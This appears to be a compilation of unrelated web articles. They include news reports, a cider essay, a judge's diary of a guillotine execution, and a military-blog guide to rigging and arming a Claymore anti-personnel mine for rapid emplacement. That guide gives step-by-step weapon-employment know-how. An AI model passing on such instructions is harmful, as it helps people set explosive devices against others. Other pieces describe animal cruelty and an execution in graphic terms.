who recorded the surveillance video. "He throws them real high into the air and over the fence and they're hitting the ground. He came back outside with some pillow cases, grabbed the puppies up one by one, came out here to the drain and started shoving them into the drain." The witness, who wished to not be identified, told News4Jax on Monday that when the man couldn't stuff all the puppies into one drain, he went to another one. "When they started moving around, he was kicking them, trying to shove them back into the drain," the witness said. Fortunately, all six puppies, which police said belonged to Martin's stepfather, survived the attack. News4Jax learned that one of the puppies now lives with the stepfather, and the others were given to family members. Martin's mother, who asked to remain anonymous, said her son's actions were the result of schizophrenia. "When he saw the dogs, he though they were little demons," she said. "He goes through little spasms, but he put them in there. He put them in the ditch." Martin was booked into the Duval County Jail and ordered held on $90,000 bond. Viewer warning: The videos, shown in this story, contain graphic details and images that may be considered disturbing to some people. Copyright 2017 by WJXT News4Jax - All rights reserved. -Today I have a Do-It-Yourself guide on how to "dropkick" a Claymore Anti-Personnel mine for you guys. This is a technique I learned in Ranger Battalion and was able to use later on when I was in Special Forces. The term dropkick is of course just shorthand for a method of rigging the Claymore mine for a very fast employment when outnumbered and outgunned by the enemy. Also known as the "red vapor mist machine" in some circles, the Claymore mine is typically used to protect soldiers in static positions such as patrol bases, or used to initiate an ambush against enemy troops. The dropkick technique is different in that it is used by snipers, recce patrols, or other small SOF teams who are breaking contact with the enemy and attempting to escape and evade. So here it is, the Claymore Mine that we all know and love. With a layer of plastic explosives lining the inside of the curve shaped mine, there are about 700 ball bearings laid into the explosives that fire forward at enemy troops as shrapnel. I'm out of the military now so this demonstration was done with an inert trainer rather than the real deal! Step 1: Take inventory and test equipment. You will need everything you see above and a knife for this project. Use the test set to test the Claymore out on the range for functionality. Go through the entire process, EIB standards and everything. If you actually have to use a dropkicked Claymore in combat, you need it to work, so don't cut any corners here. Check the mine, wire, and clacker for serviceability and scrounge up some rubber bands; you'll see why in a minute. Step 2: First we need to prepare the Claymore bag that the mine comes in. Directions on how to employ the mine are sewn into the cover of the bag. This is going to get in the way as we move forward, so do yourself a favor and cut or tear these out now. Make your Claymore bag look like this and we are ready to move on to the next step. Step 3: The Claymore bag is partitioned down the middle into two pouches, one for the Claymore mine and one for the wire with blasting cap, clacker, and test set. We need to cut down this partition so that we have one big pouch in the bag. Once your Claymore bag looks like this you will be ready to go on to the next step. Step 4: Extend the legs of the Claymore mine and put it in the bag to see where the legs poke into the bottom. Use your knife to cut slits in the bottom of the bag and ensure that the legs of the mine can slide through. Step 5: Back to the lid of the bag. Cut slits up both sides of the lid, three on each side. Make sure that they are equally spaced apart and don't go past the buttons. Step 6: Take the rubber bands and loop them through the slits that you made in the cover, then loop the bands back on themselves, making a bite around the fabric of the lid. Do this for each of the six slits that you cut. Step 6: This is where it gets a little tricky. Figure out how much length of the Claymore wire covers and surpasses the length of the lid. In my case, I can wrap the cord around my elbow and over my palm to make a spool, and that fits nicely for our purposes. This might require some experimentation on your part to get it right. You will need to make three separate wraps that will be locked into place with the rubber bands, so plan ahead. Start stringing the Claymore wire back and forth. Once you get enough wraps, separating the wire equally into thirds, go ahead and lock the ends into the loops of the rubber bands. You may need to twist the rubber bands and loop them back around the wire a second time to make sure it's in there nice and snug. This is what it should look like when you are done. During this process it is critical that you are careful with the blasting cap when doing this with a live mine. When I worked with live demo, I'd keep the cap inside the plastic spool that the wire comes on for safety purposes. Step 7: Put the Claymore mine back in the bag, push the metal legs through the slits you cut in the bottom, and fold them down and out of the way for transportation. Step 8: Arm the mine. Screw the blasting cap into the mine when appropriate. This depends on unit SOP, so if you Privates out there need to check with your Squad Leader before you Sua Sponte this! Army regs say that no charges or explosives can be primed with initiation systems until they are going to be used. Most SOF units these days are priming their charges on the FOB beforehand and rolling out to their targets. How your unit does is METT-T (situation) dependent. Here is the finished product, you've dropkicked a claymore mine. The mine can now be carried by the sling or kept on an external pouch on a rucksack. When a small recce patrol makes contact and can't wait for air support, it's time to use this bad boy. Extend the claymore legs, stick it in the ground (THIS SIDE FACES ENEMY), pull however much wire you need to get you behind cover and concealment, run to cover, pop the shipping plugs, and attach the clacker. Once a pursuing enemy closes in on your position, you know what to do! Writing up this DIY guide cost me some money; would you believe that a used Claymore trainer costs almost 200 dollars?! I think it was worth the trouble, but if you guys learned anything from this post, please help us out and make this DIY guide famous. Use the like button and share this with as many people as possible. Thanks guys. Kit Up! contributor Jack Murphy is a former Ranger, Special Forces Soldier and is the author of the military thriller Reflexive Fire. -With most of our games, our initial prototypes are made with simple shapes to get the gameplay working as soon as possible. With Don't Grind, the concept was so simple that we decided to set the project up properly right away. So we created the spritesheets and started building the scene as we worked on the gameplay. Characters - Injecting life into inanimate objects It's important with a game like Don't Grind to feel connected with what is going on. We really wanted to bring the characters to life but avoid the whole "grinding up cute cats and dogs", so we chose to use inanimate objects. There have been thousands of games where you put animals in blenders and stuff since way back in the early days of flash, and we didn't want to make one of those. -Every new business wants to differentiate itself, to stand out from the crowd. It is a bit of a mystery, then, why so many websites for smaller cider companies proudly state that they are different because they don’t make sweet cider, unlike the big bad Big Players (you know who they are). So many cideries make this claim that it no longer seems to be much of a distinction. More to the point it does an incredible disservice to sweeter ciders, seeming to say that if it’s sweet it’s therefore bad, and implying that if it’s dry it is therefore good. As with most simplistic statements, this ain’t necessarily so. First, when we talk about sweetness in cider, just what is it we’re talking about. Sugar is the obvious answer, and how much of it is either left in the cider from the original juice or added back at some point post-fermentation either in the form of un-fermented juice or plain old table sugar. The amount of sugar in a finished cider can be reported in any of a number of ways – in grams of sugar per liter (which can also be expressed as a percentage), specific gravity, or degrees brix (often used in the wine world). There are any number of calculators and tables available that can convert these measurements from one to the other, so for the purposes of this discussion we’ll stick to grams per liter (g/L). The good folks at the Beer Judge Certification Program (BJCP) have tried to bring some order to the world of cider evaluation by setting some general boundaries for various categories of cider-based on sugar content. Dry Medium-Dry* Medium Medium-Sweet Sweet g/L 0 – 4 4 – 9 9 – 20 20 – 40 >40 % 0 – 0.4 0.4 – 0.9 0.9 – 2.0 2.0 – 4.0 >4.0 SG 1.000 – 1.002 1.002 – 1.004 1.004 – 1.009 1.009 – 1.019 >1.019 (*aka semi-dry or off-dry) To put this in perspective, regular Coca Cola® has a sugar content of 108 g/L, and freshly pressed apple juice will typically come in at 117 – 260 g/L. Left to their own devices yeasts will most of the time keep eating up any sugar they find until there is nothing left, resulting in dry cider. But not always. The traditional production method for French ciders, for example, starves the yeasts of other essential nutrients so that they more or less give up before all the sugar has been consumed. The result is a naturally sweet often quite complex and wonderful cider. A similar process can be used in the making of ice cider, which starts with highly concentrated (by freezing and thawing) juice and results in a very sweet dessert cider (upwards of 165 g/L) that more often than not avoids being cloying by wrapping all that sugar around a sturdy backbone of bright acid. Sugar content isn’t quite the last word on sweetness, though. Our brains can sometimes be fooled into thinking something is sweeter than the actual available sugars would suggest. The amount of acidity in a given cider will, for example, influence how sweet it tastes. A high acid cider that has a sugar content that would put it into the medium cider category may taste less sweet than a low acid cider having a sugar level in the medium-dry range, which is also why to many palates fresh apple juice will taste less sweet than a Coke®. Furthermore, because taste and smell are so closely intertwined a fruity aroma will also encourage us to taste a cider as sweeter than it is, while conversely an earthy aroma will make a cider be perceived as less sweet. (Genetics can play a role in sweetness perception, too.) So why take issue with sweetness? For one thing, it’s an easy target. The most common complaint of people that don’t like cider is that it is too sweet. Generally this kind of statement suggests that the speaker hasn’t had the opportunity to try many ciders, and certainly the ciders offered by the Big Players are on the sweet end of the spectrum. What’s more, the Big Players muddy the waters by labeling some of their offerings as “dry” when on an objective basis they are anything but. Take a couple of examples produced by some of the nationally distributed large brands. One “dry” cider has, according to the label, 7 grams of sugar in a 355 ml serving, which works out to 19.7 g/L of sugar, on the high side of medium. Another labeled as “dry pear” has a whopping 17 grams of sugar per 355 ml serving, coming in at an astonishing 48 g/L, so far from dry that it can’t even see it in it’s rear view mirror. Why, one might ask, don’t the Big Players make actual dry ciders if, as one assumes from the marketing pitches of their smaller competitors, there is in fact a market for them? The easy answer is that while there are those that do prefer drier beverages, Americans as a whole seem to prefer their drinks sweet, particularly in an emerging category or market. More to the point, it’s actually more challenging to make a decent tasting dry cider than a sweet one. With a truly dry cider there is nowhere to hide. It requires more attention to apple varieties and blends, and to production dynamics, in order to create something that isn’t just a complete thin and watery acid bomb. In addition, when you are starting with juice concentrates, which once a company is making cider at a certain scale is an absolute must, it is simply impossible to add back all of the subtle complexities inherent in fresh juice that get stripped out during the concentration process. Sugar can make this diminished character less obvious, although at some point all you can taste is the sugar itself rather than the harmonious flavor you’d get from actual juice. Dry shouldn’t be the considered the ultimate goal. There are certainly as many uninteresting dry ciders on the market today as there are sweet ones, and more than a few that could be rescued by just a little more attention to balance. Complexity, proportion, nuance – those are the watchwords of a great cider regardless of where it sits on the sweetness scale. There are a handful of cider companies (such as Seattle Cider Company and Redbyrd Orchard Cider) that have taken it upon themselves to add some sort of scale information on their label in an attempt to help consumers find their way through the fog. This sort of information along with the writings of thoughtful reviewers, those that work hard to describe a full range of a cider’s characteristics not just whether or not they liked it, can help to bring some clarity to an otherwise murky area. Meanwhile, here’s hoping that the next time a new cider company’s marketing team sits down to describe what sets the company apart he/she/they work a little harder to find something a little more original to say. -Talk about insult to injury. Judith Reese, Rockies fan and birthday girl celebrating her 69th, was not only forced to watch the Rockies get crushed by the San Francisco Giants, but also gets nailed in the head by a foul ball and carted out of the game in the fifth inning. "My friend Kim and I have gone to opening day for years," Reese told 9News. And this year she was celebrating her birthday with great seats -- third row, behind the rail and down the third base line. But in the fifth inning, the birthday celebrations came to a screeching halt when Rockies outfielder Michael Cuddyer hit a foul ball right along the third base line that went flying right into Reese's temple and knocked her out. Cuddyer, who was making his Rockies debut at home, described the hit from what he saw from the field, "I saw the ball off my bat, saw the stands part ways and boom – saw it hit the head," CBS4 reported. "I hope (she) is all right and everything is well. It’s tough. That’s the scary part of this." The game was delayed briefly as medical personnel attended to Reese who was carted off and eventually taken to Denver Health Medical Center where she was treated for a concussion and bruised head, according to 7News. Reese never did hear her birthday song at Coors Field that her friends arranged for her, but she has already been released by the hospital, is recovering and going to be okay. "I want to thank the fans, the paramedics and the community for their instant support," Reese said in a statement released by Denver Health. -Products used: CG Honey Dew Nano Skin Auto Scrub Pinnacle Souveran Liquid Wax Purple Power APC (diluted 5:1) Mother’s Wheel & Tire Cleaner Mother’s Tire Gloss Lexol Leather Cleaner Lexol Leather Conditioner This vehicle was in a roll-over accident crushing all four doors, the roof and basically the whole car. The body shop did a excellent job bringing this car back to life. They still have some work to do but this is a long way from what it was. This was the inside. Dust had been building up from sitting around a paint and body shop for months. The exterior of the car was washed thoroughly, decontaminated and then sealed with Pinnacle Soveran. The inside definitely needed the most attetion. There was dust in every crack and crevice. First all the top surface dirt had to be removed before we could start any real detail work. It took some time but the results were well worth it. Lovely reflection. -New alcohol advice published today reiterates that the recommended maximum intake weekly for male adults should fall from 21 to 14 units - barely enough to fill a bowl with electric soup*. “To keep health risks from alcohol to a low level it is safest not to drink more than 14 units a week on a regular basis,” the UK government guidelines state (PDF). The guidelines attracted widespread criticism after they were published in January. The opinion of the UK’s Chief Health Jobsworth (official title: “Chief Medical Officer”) Dame Sally Davies is that there is “no safe level” of drinking. Professor Spiegelhalter, the Winton Professor for the Public Understanding of Risk in the Statistical Laboratory at Cambridge University, pointed out that the “no safe level” message contradicted the working group’s guiding principle that the public needed to be able to make an “informed choice”, not get scared into obedience. Eating a bacon sandwich, or watching an hour of TV, posed more long-term health risks than moderate alcohol consumption, he wrote. Graham Stringer MP pointed out the zero-alcohol advice would have a “perverse effect” - most people would simply ignore it. For a Puritan, however, the thrill comes from denying another’s pleasure, and the Puritanism and the “no safe level” recommendation remains, albeit in different wording, and in specific relation to cancer: The expert group was also clear that there are a number of serious diseases, including certain cancers, which can occur even when drinking within the weekly guideline. Whilst they judge the risks to be low, this means there is no level of regular drinking that can be considered as completely safe in relation to some cancers. However the following passage modulates a little: This level of risk is comparable to those posed by other everyday activities that people understand are not completely safe, yet still undertake. Alcohol industry trade body the Portman Group responded to the new guidelines by saying "it is regrettable that the guidelines still include a reference to the Guidelines Development Group's view that there is no safe level of drinking... Placed alongside low risk guidelines it will render the CMOs' advice confusing and contradictory for consumers." Following the EU referendum the media remarked, with some dismay, how people “don’t trust experts”. But perhaps it depends on how self-interested, or "expert", the experts are perceived to be. The Times in May reported that “four key figures behind [the new recommendations] were closely associated with the Institute of Alcohol Studies (IAS), a lobby group financed by the temperance movement.” This wasn't news to Register readers - we wrote four years ago that the IAS is funded by something called the Alliance House Foundation. This was created in Manchester in 1852, and by 1853 rejoiced in the name “The United Kingdom Alliance to Procure the Total and Immediate Legislative Suppression of the Traffic in All Intoxicating Liquors”. It subsequently spawned better-known temperance groups. In turn, the largest funder of the AHF is the European Union. In 2008 it raised just £70 in donations from members of the public. Perhaps one unexpected "Brexit Bonus" might be a diminution in killjoy lifestyle regulation. Which would be ironic, really. For years we were promised "continental drinking", the boozy Europeans offering a more liberal drinking culture than the uptight British. ® *Bootnote For younger readers. -In addition to its new trio of GT factory drivers for 2017, Porsche has announced at its Night of Champions that it will send a factory squad to the 2017 FIA WEC to race in the GTE Pro class with its new 911 RSR. “This is a significant boost for our motorsport involvement and underlines that we have chosen the right platform with the WEC,” said Michael Steiner, member of the executive board for research and development at Porsche AG. The Porsche Motorsport GT team will campaign a pair of new 911 RSR in the top GTE class, after the brand was represented by just a sole Proton Competition-run 911 this season. The drivers confirmed so far are Michael Christensen, Frédéric Makowiecki and Richard Lietz. Next season the GTE Pro class has been granted FIA World Championship status for the first time, with factory efforts from Porsche, Aston Martin, Ferrari and Ford all confirmed. The mid-engined 2017 Porsche 911 RSR was fully officially unveiled last month by the brand, and shown off to the WEC paddock at the Bahrain season finale. -WASHINGTON — President-elect Donald Trump is shrugging off contradictions with his own cabinet picks that have been on display during Senate hearings this week. “All my cabinet nominee are looking good and doing a great job. I want them to be themselves and express their own thoughts, not mine!” Trump said over Twitter early Friday. This Jan. 11 file photo shows U.S. President-elect Donald Trump during a press conference at Trump Tower in New York. Trump has shrugged off the strikingly divergent positions his cabinet picks have taken on a number of issues. ( TIMOTHY A. CLARY / AFP/GETTY IMAGES File Photo ) The comment comes after members of Trump’s future cabinet separated themselves from the president-elect on a series of issues, including Russia, torture and Muslim immigration. Partly as a result the nominees have gotten mostly gentle treatment from Senate Democrats who say they’ve found the cabinet choices more palatable than the future president himself. “As I meet members of the cabinet I’m puzzled because many of them sound reasonable,” said Sen. Dick Durbin of Illinois, the No. 2 Senate Democrat. “Far more reasonable than their president.” Article Continued Below Sen. Jeff Sessions, picked for attorney general, said he’s against any outright ban on immigration by Muslims, in contrast to Trump’s one-time call to suspend admittance of Muslims. Secretary of State candidate Rex Tillerson affirmed U.S. commitments to NATO and took a relatively hard line on Russia, both in contrast to Trump — though Tillerson irked GOP Sen. Marco Rubio by refusing to label Vladimir Putin a “war criminal.” And CIA pick Rep. Mike Pompeo, R-Kansas, affirmed his opposition to torture and said he would refuse any Trump order to torture, adding he could not imagine Trump would give such a directive. Trump, while campaigning, suggested bringing back waterboarding and more. Tillerson’s nomination is in question in light of concerns from Rubio and others, but it looks like smooth sailing for Pompeo; retired Gen. James Mattis for Defence; and retired Gen. John Kelly for Homeland Security, among others. “Pompeo’s very popular, Mattis, Kelly — these are popular selections,” said Sen. John McCain, R-Ariz. Sessions was denied confirmation once before by the Senate, but that was three decades ago for a federal judgeship. This time around the Alabaman is a sitting senator and was treated gently, for the most part, by his colleagues, even when Democrats brought up the racial issues that brought him down him last time around. There was potential for drama as Sen. Cory Booker, D-N. J., broke with Senate tradition to testify against his colleague, but it came on the second day of the hearing after Sessions had finished testifying, so he was not even in the room. “The purpose of confirmation hearings is to examine the record and views of potential nominees and I think that’s what these hearings are doing,” said Sen. Ted Cruz, R-Texas. “I think it’s likely that all of the cabinet nominees are going to be confirmed, I think the hearings have gone quite well this week.” The outings also lack drama due to Democrats’ decision while in the Senate majority to lower the vote threshold for cabinet nominees and others from 60 votes to 50, allowing Republicans to ensure approval as long as they can hold their 52-seat majority together. Article Continued Below There could be fireworks yet to come because several of the most potentially explosive hearings are still pending, including for former Goldman Sachs partner Steven Mnuchin for Treasury secretary. Democrats have set up a website to solicit stories from the thousands of people whose homes were foreclosed on by OneWest Bank while Mnuchin headed a group of investors who owned the bank. They hope to use Mnuchin’s nomination hearing to attack Trump’s populist appeal with working-class voters and cast themselves as defenders of the middle class. Also pending are hearings for Rep. Tom Price for Health and Human Services; Oklahoma Attorney General Scott Pruitt, a vocal denier of climate change science, to lead the Environmental Protection Agency; and fast-food executive Andrew Puzder to head the Labor Department. MORE ON THESTAR.COM 10 times Donald Trump’s cabinet picks directly disputed him Read more about: -U.S. Air Force F-15 and Russian Bear Bomber. Air Force photo Russia Admits It Isn’t Ready to Fight Space Aliens Fortunately America’s got a plan David Axe Blocked Unblock Follow Following Oct 2, 2013 by DAVID AXE A Russian space official just admitted that Moscow has no strategy for combating an invasion by galactic marauders. Lucky for Planet Earth, the United States does have a plan. And it counts on Russia and America fighting together. Sergei Berezhnoy, on the staff of the Titov Space Control Center near Moscow, said that Russian air-defense officers “have not been tasked with preparing for the contingency of an alien attack,” according to Rianovosti. “There are enough problems on Earth and in near-Earth space,” Berezhnoy added. A team of scientists from America’s NASA Planetary Science Division have disagreed. “While humanity has not yet observed any extraterrestrial intelligence, contact with ETI remains possible,” Seth Baum, Jacob Haqq-Misra and Shawn Domagal-Goldman wrote in a 2011 paper. The scientists conceded that extraterrestrials could be friendly or ambivalent—but we can’t be sure. “Contact with uncooperative ETI seems likely be harmful to humanity,” they warned. The Pentagon isn’t taking any chances, if one U.S. military instructor is to be believed. Prof. Paul Springer, a history teacher at the U.S. Air Command and Staff College in Alabama, told an Australian TV program last year that Washington has plans for even the least likely military threats—including attackers from beyond the solar system. “We make all kinds of contingency and war plans,” Springer said. But America’s interstellar war plan is surely pretty thin. After all, the Pentagon wouldn’t know anything about the attackers until the first laser bolt or disrupter blast or photon torpedo was fired and Earth forces were already in retreat. In the event of an alien invasion, “the first thing you would need to try to do is preserve your forces,” Springer said. In other words, hide. After that, “learn as much about the enemy as possible.” Presumably with spy satellites, drones, electronic eavesdroppers and old-fashioned sneaking around. The aliens, meanwhile, would probably target Earth’s communications networks and its most potent weapons, nukes, Springer said. As the world’s leading military powers, America and Russia would be the biggest targets … and the leaders in the eventual counterattack. Combined, the two countries could field huge air, land, sea and space forces numbering thousands of warplanes, millions of soldiers, hundreds of ships and most of the world’s spacecraft. Assuming Earth survives and wins, human society could be turned upside down. Springer said former rivals could become close allies, even unified. “Keep in mind many of the greatest civilizations in human history formed to counter a common enemy,” Springer pointed out. Plan or no, Russia is bound to join America on the front lines in the First Alien War. Subscribe to War is Boring here. -There is one thing about Mark Zuckerberg that has never changed since he launched Facebook and became one of the youngest billionaires in the world: the grey T-shirt he wears every day. The Facebook CEO shared a picture of his wardrobe and the two types of t-shirts he wears every day this week as he returned to work following his paternity leave. His bland outfits may seem dull, but Zuckerberg has a legitimate reason for donning the same T-shirt every day. He claims dressing in the same way allows him to focus his energy on more important decisions at work. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. First day back after paternity leave. What should I wear? Posted by Mark Zuckerberg on Monday, 25 January 2016 The 31-year-old explained this during his first public question and answer session in 2014 when an audience member asked why his outfits never changed. “I really want to clear my life to make it so that I have to make as few decisions as possible about anything except how to best serve this community,” said Zuckerberg. “I'm in this really lucky position, where I get to wake up every day and help serve more than a billion people. And I feel like I'm not doing my job if I spend any of my energy on things that are silly or frivolous about my life.” Considering Zuckerberg is worth an estimated $37.5 billion after launching Facebook from his room at Harvard University while still a teenager, it might be worth bearing his sartorial stance in mind. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -In the same hotel where Alexander Graham Bell once demoed coast-to-coast telephone calls, Microsoft will announce plans for a new white space internet service on Tuesday. This ludicrous technology sends broadband internet wirelessly over the unused channels of the television spectrum. It’s also ingenious. Understandably, you probably have some questions about this postmodern concept. If you were born before 1985, you might remember the days when TV signals floated through thin air, delivering episodes of Married With Children to homes across America without any wires. Those TV signals still exist, and in between the channels, there’s unused spectrum called white space. Enterprising scientists have figured out how to turn that white space into a sort of super wi-fi and broadcast internet service to a many miles-wide radius. What’s extra special is that, unlike wi-fi or cellular service, the stronger TV signal can penetrate buildings and other obstacles. This makes it ideal for rural areas, where conventional broadband service is either unavailable or prohibitively expensive. Advertisement As Tuesday’s announcement makes clear, Microsoft scientists have been on the bleeding edge of white space research. The increasingly hip company intends to drop $10 billion to launch a new white space service in 12 states, including New York and Virginia, connecting an estimated two million Americans to the internet, The New York Times reports. This plan ought to please FCC chairman Ajit Pai, who’s made expanding high speed internet access a priority since he took the helm of the agency. Then again, many believe that Pai’s mission amounts to an empty promise, one that stands to line the pockets of big telecom companies instead of actually helping rural America. But that’s a whole ‘nother can of beans. Exciting as it may sound, Microsoft’s new white space initiative does face some tricky challenges. Infrastructure is a big one. While white space internet service does utilize the very familiar TV spectrum, the ability to connect to the internet requires some special hardware. On the regional level, we’ll need to build special base stations, equip them with white space antennas, and supply them with electricity. (Solar power is an option for base stations that are off the electric grid.) On the local level, white space customers will need to access to special receivers that can turn the white space signal into something their computer understands, like wi-fi. All of this will cost money. Advertisement Good news is Microsoft has a lot of money. It’s not yet clear how much the company will charge for the new service, but presumably, it will cover the expense of building the new base stations. Customers will have to buy the hardware for their homes at a sobering price of $1,000 or more, but Microsoft says these costs will come down to $200 per device by next year. That’s not nothing for a lot of rural Americans, and then they’ll have to pay for access — a fee that Microsoft says will be “price competitive” with regular old cable internet (again: not cheap). But hey, progress matters. While this white space internet technology has been in development for years, Microsoft is set to become the first major company to bring it to the masses, and that might just mean others will follow. Far-future solutions for rural broadband access like Facebook’s laser-powered drones, Google’s silly balloons, or Elon Musk’s pie-in-the-sky satellites remain theoretical for the time being, while white space already works. And soon, it could be working in a middle-of-nowhere near you. [New York Times] -Paul Beeston denies that the Toronto Blue Jays are being held back by financial restraints from ownership. During a guest appearance Friday on Brady & Walker on Sportsnet 590 The Fan, the Blue Jays president and CEO said Rogers Communications has been more than accommodating when they’ve needed to add salary, adding that the club’s payroll is going to increase for 2015. “I’ll set the record straight. We’ve never gotten to Rogers and asked them for money for anything we haven’t got,” Beeston said. “They’ve been very, very generous with us when we took our salaries up from $90-million to $125-million. I think we’ll be up next year. There’s no question about that. They’ve been very supportive.” Beeston also took issue with recent criticism directed at the Blue Jays’ inactivity at the trade deadline. Many, including right fielder Jose Bautista, expressed their disappointment that the Blue Jays didn’t add a player while the division rival New York Yankees added Brandon McCarthy, Chase Headley and Martin Prado. But Beeston said the club’s lack of movement had nothing to do with money. “When I hear last week that we didn’t make decisions because we didn’t have the money or there was a hockey contract, it’s just flat out wrong,” he explained. “It’s patently false. We’ve got what we need to do. If there wasn’t a trade that was made, it was because Alex (Anthopoulos) and the baseball people didn’t think they wanted to part with the players for what they’d get back.” It has been a tough week for the Blue Jays, who have lost five of their past six games and saw third base Brett Lawrie return to the disabled list after just three innings of play Tuesday with an oblique injury. “When we lose, all of a sudden it’s because of finances. It’s because we don’t have the money. That’s really not fair to Rogers,” said Beeston. “That’s because of decisions we made or because of injuries or the way we play. It’s nothing to do with the financial part of it.” The Blue Jays enter play Friday with a 61-55 record. They are 5.0 games behind the Baltimore Orioles in the AL East and 0.5 games behind the Kansas City Royals in the wild card standings. -At 3:00 p.m., [presiding] judge R. notified me that I had been appointed to assist with the execution. I feel repulsed, but I can't get out of it. I thought about it all afternoon. My role will consist of taking note of the prisoner's statements. The execution scene from "La vie, la mort, l'amour" (Life, Love, Death), by Claude Lelouch (1969). "Life, Love, Death" was made before the abolition of capital punishment in France. The movie's central message is the inhumanity of the death penalty. (NB: The video's English subtitles are at times erroneous and misleading.) Plot: François Toledo, a married businessman and father, falls head-over-heels in love with Janine, a work colleague. However, after three dates, he feels dishonored when he suffers from impotence. In frustration, he strangles three prostitutes before being arrested. He is tried and convicted, and sentenced to death... The execution scene from "" (Life, Love, Death), by Claude Lelouch (1969). "" was made before the abolition of capital punishment in France. The movie's central message is the inhumanity of the death penalty. (NB:: François Toledo, a married businessman and father, falls head-over-heels in love with Janine, a work colleague. However, after three dates, he feels dishonored when he suffers from impotence. In frustration, he strangles three prostitutes before being arrested. He is tried and convicted, and sentenced to death... At 7:00 p.m., I went to the cinema with B. and B. B., then we had something to eat at her place and watched a late-night movie until 1:00 a.m. I went home, I did some chores, then laid down on my bed. Mr. B. L. telephoned me at 3:15 a.m., as I requested. I got ready. A police car came to pick me up at 4:15 a.m. During the journey, no one said a word.We arrived at Marseilles' Baumettes prison. Everyone was there. The District Attorney (DA) [avocat général] arrived last. A large group formed. Twenty or thirty guards, the 'officials.' All along the path, brown blankets were spread on the ground to cover the sound of our footsteps. On the path, in three places, tables holding basins of water and towelsThe cell door was opened. I heard someone say that the prisoner was dozing, but not sleeping. He was made to 'get ready.' It took a long time, since he had an artificial leg and it had to be put on. We waited. No one spoke. I think this silence, and the apparent calmness of the prisoner, relieved those present. No one would have wanted to hear crying or protests. The group reformed itself, and we took the path back. The blankets on the ground had been pushed to the side slightly, and we were no longer trying to avoid making too much noise with our steps.The group stopped beside one of the tables. The prisoner was seated on a chair. His hands were locked behind his back with handcuffs. A guard gave him a filter cigarette. He started smoking without saying a word. He was young. Very dark hair, neatly styled. His face was rather handsome, with even features, but he was pallid and had dark circles under his eyes. He looked neither stupid nor brutish. Simply a handsome young man. He smoked, and complained immediately that his handcuffs were too tight. A guard approached and tried to loosen them. He complained again. At this moment, I noticed the executioner standing behind him, accompanied by two assistants. He was holding a cord.Originally, it was intended to replace the handcuffs with the cord, but in the end it was decided to just remove them, and the executioner said something horrible and tragic: 'See, you're free!' It sent a shiver down the spine... The prisoner continued to smoke his cigarette, which was nearly finished, and he was given another. His hands were free and he smoked slowly. I understood then that he was beginning to realize that it was all over - that he could not escape now - that his life would end here, and that the moments that he still had would last as long as that cigarette did.He requested his lawyers. Mr. P. and Mr. G. approached. He spoke to them as quietly as possible, because the executioner's two assistants were standing right by him, and it was as if they wanted to steal his last moments as a living man. He gave a piece of paper to Mr. P. who tore it at his request, and he gave an envelope to Mr. G. He spoke to them very little. There was one on either side of him and they did not speak to each other either. The wait continued. He requested the prison director and asked him a question about what would happen to his possessions.The second cigarette was finished. Quarter of an hour had already passed. A young and friendly guard approached with a bottle of rum and a glass. He asked the prisoner if he wanted a drink and poured him half a glass. The prisoner began to drink slowly. He understood then that his life would end when he had finished drinking. He spoke a little more with his lawyers. He called back the guard who gave him the rum and asked him to gather up the pieces of paper that Mr. P. had torn up and thrown to the ground. The guard bent down, picked up the pieces and gave them back to Mr. P., who put them in his pocket.It was at that moment that everything became confused. This man is going to die, he knows it; he knows that he can do nothing but delay the end by a few minutes. And he became almost like a child that will do anything to delay bedtime! A child who knows that he will be treated indulgently, and who makes use of it. The prisoner continued to drink his rum, slowly, in little sips. He called the Imam who came over and spoke to him in Arabic. He responded with a few words, also in Arabic.The glass was nearly empty and, in a last attempt, he requested another cigarette: aor a[unfiltered cigarettes made with strong, dark tobacco], because he didn't like the brand that he had been given. The request was made calmly, almost with dignity. But the executioner, who was becoming impatient, interrupted: "We've already been nice with him - very humane - we have to get this over and done with." In turn, the DA intervened to deny the cigarette, despite the prisoner repeating the request and adding very opportunely: "It will be the last." A sort of embarrassment came over the assistants. About twenty minutes had passed since the prisoner sat down on his chair. Twenty minutes, so long and yet so short.The request for this last cigarette brought back the reality, the 'identity' of the time which had just passed. We had been patient, we had stood waiting for twenty minutes while the prisoner, seated, expressed wishes which we immediately granted. We had allowed him to be the master of that time. It was his possession. Now, another reality was appearing. That time was being taken back from him. The last cigarette was denied, and to get it over and done with, he was hurried to finish his glass. He drank the last sip. Passed the glass to the guard. Immediately, one of the executioner's assistants took a pair of scissors from his shirt pocket and began to cut off the collar of the prisoner's blue shirt. The executioner signaled that the cut was not large enough. So, to simplify things, the assistant made two big cuts to the shoulders of the shirt and removed the entire shoulder section.Quickly (before the shirt collar was cut), his hands were tied behind his back with the cord. He was helped up. The guards opened a door in the corridor. The guillotine appeared, opposite the door. Almost without hesitating, I followed the guards who were pushing the prisoner and I entered the room (or, rather, a courtyard?) where the the 'machine' stood. Beside it was an open brown wicker basket. Everything went very quickly. His body was practically thrown down but, at that moment, I turned away. Not out of fear, but by a sort of instinctive and deep-rooted modesty (I can't find another word).I heard a dull sound. I turned round - blood, lots of blood, very red blood - the body had toppled into the basket. In a second, a life had been cut. The man who had spoken less than a minute earlier was nothing more than blue pyjamas in a basket. A guard took out a hose. The evidence of a crime needs to be erased quickly... I felt nauseous but I controlled myself. I had a feeling of cold indignation.We went into the office where the DA was childishly fussing around to prepare the official report. D. carefully verified every part. It's very important, the official report of an execution! At 5:10 a.m. I went home.I am writing these lines. It is 6:10 a.m.-- Monique Mabelly (Juge d'instruction) -Photo Credit: Shutterstock.com Silence in our community is not striking a blow at our enemies. In fact it just makes them stronger and more confident in their actions. Pretending to be heroes in the face of evil never helps anyone. We Black women are not superwomen. We are as vulnerable and as susceptible to violence as our white female counterparts (and maybe even more so). Sexual assault does not happen “out there”—outside the walls of our community. No, it occurs daily within our own borders right under our noses by those we trust the most.Partner rape is not a myth and causes as much emotional and psychological damage as stranger rape, domestic abuse, incest and molestation. For many people the idea that your trusted husband, boyfriend or girlfriend could be your rapist is as much of a fable as is the Loch Ness monster; but it does exist.According to the Rape, Abuse and Incest NationalNetwork (RAINN) , “survivors of partner rape are more likely to be raped multiple times when compared to stranger and acquaintance rape survivors. As such, partner rape survivors are more likely to suffer severe and long–lasting physical and psychological 